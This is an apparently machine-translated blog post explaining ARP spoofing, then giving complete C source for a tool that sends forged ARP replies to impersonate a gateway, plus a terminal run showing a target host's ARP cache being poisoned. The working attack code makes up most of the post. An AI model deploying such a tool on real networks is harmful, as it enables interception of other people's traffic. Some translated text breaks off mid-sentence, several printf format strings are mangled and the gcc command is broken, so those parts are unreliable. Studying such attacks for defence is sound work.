Ich habe ARP-Spoofing ausprobiert, einen Angriff, der die Eigenschaften von [ARP (Address Resolution Protocol)] verwendet (https://ja.wikipedia.org/wiki/Address_Resolution_Protocol).
ARP Erstens dient ARP (Address Resolution Protocol) zum Zuordnen von IP-Adressen zu MAC-Adressen. Angenommen, ein allgemeines LAN, beispielsweise wenn Host A mit dem Router kommunizieren möchte, sendet Host A eine ARP-Anforderung unter Verwendung der IP-Adresse (IP-R) des Routers.

Wenn der Router die Anforderung empfängt, gibt er eine ARP-Antwort an Host A zurück, um seine MAC-Adresse zu übermitteln.

Wenn Host A die ARP-Antwort empfängt, aktualisiert er seinen ARP-Cache und kann mit dem Router kommunizieren.

Ein Angriff, der diese ARP-Eigenschaft nutzt, ist ARP-Spoofing. ARP hat die Eigenschaft, bei zwei Hauptangriffen eingesetzt zu werden.
--Stateless Protokoll
Selbst wenn ein ungültiges ARP-Paket empfangen wird, wird der Cache von oben aktualisiert.
Angenommen, es gibt Angreifer im selben Segment. Ein Angreifer sendet eine ARP-Antwort an Host A unter Verwendung der IP-Adresse des Routers, um den Cache von Host A in einen böswilligen Cache umzuschreiben.

Wenn Host A ein fehlerhaftes ARP-Paket empfängt, aktualisiert es den Cache und das ARP-Spoofing ist erfolgreich.

Durch erfolgreiches ARP-Spoofing können alle Host A-Pakete den Angreifer erreichen. Infolgedessen der Angreifer
Solche Aktionen sind möglich.
Es gibt verschiedene Tools für ARP-Spoofing. ARP-Spoofing kann einfach durch Umschreiben der Quell-IP-Adresse des zu sendenden ARP-Pakets ausgeführt werden. Daher ist die Implementierung meiner Meinung nach relativ einfach.
Also habe ich es tatsächlich geschrieben. (Grob)
arpspoofing.h
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <arpa/inet.h>
#include <netinet/if_ether.h>
#include <netinet/ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#define IP_CHAR_LEN 15
//Erstellen eines ARP-Sockets
int create_arp_sock();
//IP vom Schnittstellennamen,MAC-Adresse abrufen
void set_if_info(int sock, char *if_name, char* if_ip, unsigned char* if_mac);
//Socket-Adresse
void set_sockaddr(struct sockaddr_ll *sll, char *if_name);
//ARP-Einstellungen
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op);
//MAC-Adresse des Zielhosts abrufen
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac);
//Konvertieren Sie die Zeichenfolge in die MAC-Adresse des vorzeichenlosen Zeichens
void char2mac(char* macadd, unsigned char* mac_str);
//Ausgabe der MAC-Adresse
void print_macaddr(unsigned char* macaddr);
//Führen Sie ein ARP-Spoofing durch
void arp_spoofing(char *argv[]);
arpspoofing.c
#include "arpspoofing.h"
int create_arp_sock()
{
    int arp_sock = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
    if (arp_sock < 0)
    {
        perror("arp sock");
        printf("errno: %d\n", errno);
        return 1;
    }
    return arp_sock;
}
void set_if_info(int sock, char *if_name, char* if_ip,unsigned char* if_mac)
{
    struct ifreq ifr;
    memset(&ifr, 0, sizeof(ifr));
    ifr.ifr_addr.sa_family = AF_INET;
    memcpy(ifr.ifr_name, if_name, 6);
    
    //IP-Adresse erhalten
    if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
    {
        perror("ip addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_ip, inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr), IP_CHAR_LEN);
    //MAC-Adresse abrufen
    if (ioctl(sock, SIOCGIFHWADDR, &ifr) < 0)
    {
        perror("mac addr");
        printf("errno: %d\n", errno);
        return;
    }
    memcpy(if_mac, ifr.ifr_hwaddr.sa_data, 6); 
}
void set_sockaddr(struct sockaddr_ll *sll, char *if_name)
{
    memset(sll, 0x0, sizeof(sll));                  
    sll->sll_family = AF_PACKET;                    /*Immer AF_PACKET */
    sll->sll_protocol = htons(ETH_P_ARP);           /*Protokoll der physikalischen Schicht*/
    sll->sll_ifindex = if_nametoindex(if_name);     /*Schnittstellennummer*/
    sll->sll_halen = 6;                             /*Adresslänge*/
    memset(&sll->sll_addr, 0xff, 6);                /*Adresse der physischen Schicht*/
}
void set_arp_header(struct ether_arp *arpPacket, unsigned char *s_mac, char *s_ip, unsigned char *t_mac, char *t_ip, int op)
{
    memset(arpPacket, 0x0, sizeof(arpPacket));
    arpPacket->arp_hrd = htons(1);                  /* Format of hardware address.  */
    arpPacket->arp_pro = htons(ETHERTYPE_IP);       /* Format of protocol address.  */
    arpPacket->arp_hln = 6;                         /* Length of hardware address.  */
    arpPacket->arp_pln = 4;                         /* Length of protocol address.  */
    arpPacket->arp_op = htons(op);                  /* ARP opcode (command).  */
    memcpy(arpPacket->arp_sha, s_mac, 6);                       //Quell-MAC
    inet_aton(s_ip, (struct in_addr *)&arpPacket->arp_spa);     //Quell-IP
    memcpy(arpPacket->arp_tha, t_mac, 6);                       //Ziel-MAC
    inet_aton(t_ip, (struct in_addr *)&arpPacket->arp_tpa);     //Ziel-IP
}
void get_t_mac(int arp_sock, struct ether_arp arpPacket, struct sockaddr_ll sll, int sll_size, char *t_ip, unsigned char *t_mac)
{
    //Wiederholen Sie diesen Vorgang, bis die MAC-Adresse der angegebenen IP-Adresse aufgelöst werden kann
    while(1)
    {
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
            0, (struct sockaddr *)&sll, sizeof(sll)) < 0){
            perror("sendto");
            printf("errno: %d\n", errno);
            break;
        }
        char buf[256];
            memset(buf,0x0,sizeof(buf));
            int arp_size = recvfrom(arp_sock, buf, sizeof(buf), 0, NULL, NULL);
            //Wenn ein ARP-Paket ankommt
            if(arp_size < 0) {
                printf("errno: %d\n",errno);
            }else{
                struct ether_arp *ether_arp = (struct ether_arp*) buf;
                char ip_address[IP_CHAR_LEN];
                memcpy(ip_address, inet_ntop(AF_INET, ether_arp->arp_spa, ip_address, IP_CHAR_LEN), IP_CHAR_LEN);
                //Wenn Sie die MAC-Adresse der angegebenen IP-Adresse erhalten können
                if(strcmp((t_ip), ip_address) == 0){
                    memcpy(t_mac, ether_arp->arp_sha, 6);
                    printf("%MAC-Adresse von s-> ", t_ip); 
                    print_macaddr(t_mac);
                    break;
                }else{
                    printf("%Erfassen der MAC-Adresse von s...\n", t_ip);
                }
            }
        sleep(3);
    }
}
void char2mac(char* macadd, unsigned char* mac_str){
    char* mac = macadd;
    char temp[3];
    int i;
    for(i = 0; i < 6; i++){
        temp[0] = mac[i * 3 + 0];
        temp[1] = mac[i * 3 + 1];
        temp[2] = 0x00;
        mac_str[i] = strtol(temp, NULL, 16);
    }
}
void print_macaddr(unsigned char* macaddr) 
{
   printf(" %02x:%02x:%02x:%02x:%02x:%02x\n",macaddr[0],macaddr[1],macaddr[2],macaddr[3],macaddr[4],macaddr[5]);
}
void arp_spoofing(char *argv[])
{
    char if_ip[IP_CHAR_LEN];    //Meine IP-Adresse
    unsigned char if_mac[6];    //Meine MAC-Adresse
    char t_ip[IP_CHAR_LEN];     //IP-Adresse des Zielhosts
    unsigned char t_mac[6];     //MAC-Adresse des Zielhosts
    char fake_ip[IP_CHAR_LEN];  //IP des Hosts, für den Sie sich ausgeben möchten
 
    //Erstellen eines ARP-Sockets
    int arp_sock = create_arp_sock();
    //IP vom Schnittstellennamen,MAC-Adresse abrufen
    set_if_info(arp_sock, argv[1], if_ip, if_mac);
    //Socket-Adresse
    struct sockaddr_ll sll;
    set_sockaddr(&sll, argv[1]);
    //binden
    if(bind(arp_sock, (struct sockaddr*)&sll, sizeof(sll)) < 0) 
    {
        perror("bind");
        printf("errno: %d\n",errno);
        return;
    }
    //Arp-Paket-Einstellungen(Zum Abrufen der MAC-Adresse des Zielhosts)
    char2mac("00:00:00:00:00:00",t_mac);
    memcpy(t_ip, argv[3], IP_CHAR_LEN);
    struct ether_arp arpPacket;
    set_arp_header(&arpPacket, if_mac, if_ip, t_mac, t_ip, ARPOP_REQUEST);
    //MAC-Adresse des Zielhosts abrufen
    get_t_mac(arp_sock, arpPacket, sll, sizeof(sll), t_ip, t_mac);
    //Arp-Paket-Einstellungen(Für ARP-Spoofing)
    memcpy(fake_ip, argv[2], IP_CHAR_LEN); 
    set_arp_header(&arpPacket, if_mac, fake_ip, t_mac, t_ip, ARPOP_REPLY);
    int count = 0;
    //ARP-Spoofing
    printf("-------------------------------------------\n");
    printf("Sender MAC : "); print_macaddr(if_mac);
    printf("Sender IP  : %s \n", fake_ip);                             
    printf("Target MAC : "); print_macaddr(t_mac);
    printf("Target IP  : %s \n", t_ip);      
    printf("-------------------------------------------\n");
    while(count < 3){ 
        if (sendto(arp_sock, (char *)&arpPacket, sizeof(arpPacket),
                    0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
        {
            perror("sendto");
            printf("errno: %d\n", errno);
            return;
        }
        printf("%s is at", fake_ip); print_macaddr(if_mac);
        sleep(3);
        count++;
    }
    close(arp_sock);
    return;
}
int main(int argc, char *argv[])
{
    //Argumentprüfung
    if(argc < 4){
        printf("usage: <if name> <src IP> <dst IP> \n");
        return 0;
    }
    printf("start arp spoofing...\n");
    arp_spoofing(argv);
    printf("arp spoofing succeeded!\n");
}
Lassen Sie es uns diesmal als Beispiel ausführen, wenn ein Angreifer vorgibt, "192.168.11.1" gegen einen Host von "192.168.11.15" zu sein. Die IP- und MAC-Adressen des Angreifers lauten zu diesem Zeitpunkt wie folgt.
| IP-Adresse des Angreifers | MAC-Adresse des Angreifers | 
|---|---|
| 192.168.11.16 | 00:0c:29:2d:52:d6 | 
Terminal
$ gcc -o arpspoofing.c
$ sudo ./arpspoofing ens33 192.168.11.1 192.168.11.15
start arp spoofing...
192.168.11.15 MAC-Adressen->  <192.168.11.15 MAC-Adressen>
-------------------------------------------
Sender MAC : 00:0c:29:2d:52:d6
Sender IP  : 192.168.11.1
Target MAC : <192.168.11.15 MAC-Adressen>
Target IP  : 192.168.11.15
-------------------------------------------
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
192.168.11.1 is at 00:0c:29:2d:52:d6
arp spoofing succeeded!
Lassen Sie uns den ARP-Cache von "192.168.11.15" überprüfen.

Es wurde sicherlich neu geschrieben und es wurde bestätigt, dass dieselbe MAC-Adresse im ARP-Cache registriert war.
ARP-Spoofing ist beängstigend, da es eine große Bedrohung für die einfache Ausführung darstellen kann.
Recommended Posts